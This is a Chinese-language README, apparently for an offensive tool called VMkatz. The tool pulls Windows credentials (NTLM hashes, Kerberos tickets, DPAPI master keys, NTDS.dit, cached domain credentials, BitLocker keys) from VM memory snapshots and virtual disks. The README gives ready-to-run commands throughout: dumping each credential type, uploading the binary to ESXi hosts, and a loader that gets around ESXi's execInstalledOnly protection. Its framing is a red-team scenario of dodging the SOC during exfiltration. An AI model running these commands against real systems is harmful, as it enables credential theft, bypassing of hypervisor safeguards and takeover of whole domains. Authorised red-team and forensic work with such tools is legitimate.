你在红队交战中已经进行了三周。你的流量通过VPN爬行,然后经过四个串联在受感染跳板机上的SOCKS代理进行反弹,最后才触及目标网络。每个数据包都走了一条迂回路线。
经过数天的横向移动,你终于登上了连接虚拟化集群的NAS,目录列表让你大吃一惊:成行的 .vmdk、.vmsn、.sav 文件。数百GB的虚拟机——域控制器、管理员工作站、核心资产——就静静地躺在那里。
但你的链路速度只有200 KB/s。拉取一个100 GB的磁盘镜像需要 六天,而持续外泄的每一小时都是SOC发现异常、烧掉你的隧道、整条攻击链崩溃的机会。
VMkatz 之所以存在,是因为你无需外泄那些可以就地读取的内容。它直接从VM内存快照和虚拟磁盘中提取Windows机密——NTLM哈希、DPAPI主密钥、Kerberos票据、缓存的域凭据、LSA机密、NTDS.dit、BitLocker密钥——在NAS上、在虚拟机管理程序上,无论VM文件在哪里。
一个单独的静态二进制文件,约3 MB。将其放到ESXi主机、Proxmox节点或NAS上。指向一个 .vmsn、.vmdk 或整个VM文件夹。带走的是凭据,而不是磁盘镜像。
mimikatz 实现的所有9个SSP凭据提供程序:
另外:从内存中提取 BitLocker FVEK(池标签扫描FVEc/Cngb)。
$DPAPImk$——模式15300/15310/15900/15910)目标操作系统:Windows Server 2003 至 Windows Server 2025 / Windows 11 24H2(x86 PAE + x64)。
# 从VMware快照提取LSASS凭据
./vmkatz snapshot.vmsn
# 带页面文件解析以恢复页面化凭据
./vmkatz --disk disk.vmdk snapshot.vmsn
# 从虚拟磁盘提取SAM/LSA/DCC2
./vmkatz disk.vmdk
# 从域控制器磁盘提取AD哈希
./vmkatz --ntds dc-disk.qcow2
# 指向VM文件夹,让它自行查找所有内容
./vmkatz /path/to/vm-directory/
# 从原始注册表配置单元提取
./vmkatz SAM SYSTEM SECURITY
# 输出为Hashcat可用的哈希
./vmkatz --format hashcat snapshot.vmsn
# 导出Kerberos票据
./vmkatz --kirbi snapshot.vmsn # .kirbi文件
./vmkatz --ccache snapshot.vmsn # .ccache文件
# 导出BitLocker FVEK(用于dislocker)
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# 递归扫描路径下所有VM
./vmkatz -r /vmfs/volumes/datastore1/
# 解析LSASS minidump
./vmkatz lsass.dmp
# 交叉编译用于ESXi(musl静态)
cargo build --release --target x86_64-unknown-linux-musl
# 上传并运行
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
当VIB保护(execInstalledOnly)启用时,使用Python加载程序——无需禁用该设置:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
参见 docs/esxi.md 了解VIB绕过详情、VMFS原始设备访问及自动发现。
VMkatz 是模块化的。可以在编译时启用/禁用特性:
cargo build --release # 完整构建
cargo build --release --no-default-features --features vmware # 仅VMware
cargo build --release --no-default-features --features "sam ntds.dit" # 仅磁盘
| 提供程序 | 数据 | 备注 |
|---|
| MSV1_0 | NT/LM哈希、SHA1 | 针对分页条目的物理扫描回退 |
| WDigest | 明文密码 | 链表遍历 + .data 回退 |
| Kerberos | AES/RC4/DES密钥、票据(.kirbi/.ccache) | AVL树遍历 + 已释放会话的票据雕刻 |
| TsPkg | 明文密码 | 仅限RDP会话 |
| DPAPI | 主密钥缓存(GUID + 解密密钥) | SHA1主密钥,用于离线DPAPI解密 |
| SSP | 明文凭据 | msv1_0.dll中的SspCredentialList |
| LiveSSP | 明文凭据 | 需要livessp.dll(Win8后罕见) |
| Credman | 已存储凭据 | 哈希表 + 单链表枚举 |
| CloudAP | Azure AD令牌 | 纯本地登录时通常为空 |
| 格式 | 扩展名 | 来源 | 状态 |
|---|
| VMware快照 | .vmsn + .vmem | Workstation、ESXi | 已测试 |
| VMware内嵌快照 | .vmsn(无.vmem) | ESXi挂起 | 已测试 |
| VirtualBox已保存状态 | .sav | VirtualBox | 已测试 |
| QEMU/KVM savevm状态 | 自动检测 | Proxmox、QEMU | 已测试 |
| QEMU/KVM ELF核心转储 | .elf | virsh dump | 已测试 |
| Hyper-V已保存状态 | .vmrs | Hyper-V 2016+ | 未测试 |
| VMware虚拟磁盘 | .vmdk(稀疏+平坦) | Workstation、ESXi | 已测试 |
| VirtualBox虚拟磁盘 | .vdi | VirtualBox | 已测试 |
| QEMU/KVM虚拟磁盘 | .qcow2 | QEMU、Proxmox | 已测试 |
| Hyper-V虚拟磁盘 | .vhdx、.vhd | Hyper-V | 已测试 |
| VMFS-5/6原始SCSI设备 | /dev/disks/... | ESXi(绕过文件锁) | 已测试 |
| LVM块设备 | /dev/... | Proxmox LVM-thin | 已测试 |
| 原始注册表配置单元 | SAM、SYSTEM、SECURITY | reg save | 已测试 |
| 原始NTDS.dit | ntds.dit + SYSTEM | 域控制器 | 已测试 |
| LSASS Minidump | .dmp | procdump、任务管理器 | 已测试 |
| VM目录 | 任意文件夹 | 自动发现所有文件 | 已测试 |
| 格式 | 标志 | 描述 |
|---|
text | --format text(默认) | 完整凭据转储,包含会话元数据 |
brief | --format brief | 每凭证一行的紧凑摘要 |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump 格式 |
hashcat | --format hashcat | 原始哈希:模式1000(NTLM)、2100(DCC2)、15300/15900(DPAPI) |
csv | --format csv | 机器可读,包含所有字段 |
| 特性 | 描述 | 默认 |
|---|
vmware | VMware .vmsn/.vmem 快照支持 | 是 |
vbox | VirtualBox .sav 已保存状态支持 | 是 |
qemu | QEMU/KVM ELF核心转储 + Proxmox savevm | 是 |
hyperv | Hyper-V .vmrs/.bin/.raw 转储支持 | 是 |
sam | 磁盘提取(SAM/LSA/DCC2)+ 磁盘格式处理器 | 是 |
ntds.dit | NTDS.dit AD提取。需要 sam | 是 |
carve | 从部分/截断内存中降级提取 | 是 |
dump | 进程内存转储为minidump | 是 |
vmfs | VMFS-5/6原始解析器,用于ESXi SCSI设备。需要 sam | 是 |